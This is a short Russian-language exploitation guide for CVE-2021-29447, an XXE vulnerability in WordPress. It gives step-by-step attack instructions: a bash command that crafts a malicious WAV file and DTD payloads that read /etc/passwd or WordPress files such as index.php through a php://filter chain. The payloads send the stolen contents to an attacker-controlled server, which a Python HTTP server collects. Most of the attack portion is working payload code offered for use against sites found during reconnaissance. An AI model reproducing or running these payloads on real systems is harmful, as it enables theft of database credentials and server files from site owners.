CVE-2021-29447

Воздействие

Раскрытие произвольных файлов: содержимое любого файла в файловой системе хоста может быть получено, например, wp-config.php, который содержит конфиденциальные данные, такие как учетные данные базы данных. Server-Side Request Forgery (SSRF): HTTP-запросы могут быть выполнены от имени установки WordPress. В зависимости от окружения это может иметь серьезные последствия. Эксплуатация уязвимости

Сайт WordPress, подверженный данной уязвимости, был идентифицирован в процессе разведки с помощью инструмента wpscan.

Создание вредоносного WAV-файла.

Это очень просто, в вашей консоли bash:

nano poc.wav echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURSEVERIP:PORT/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

На вашем атакующем ПК создайте dtd с кодом, выполняемым на веб-сервере.

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >

Примечание: для чтения файлов WordPress используйте синтаксис "../WP-FILE.php"

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../index.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >

Запустите Python-сервер в каталоге с файлами (python3 -m http.server 8081)

Ссылки:

https://github.com/motikan2010/CVE-2021-29447 https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5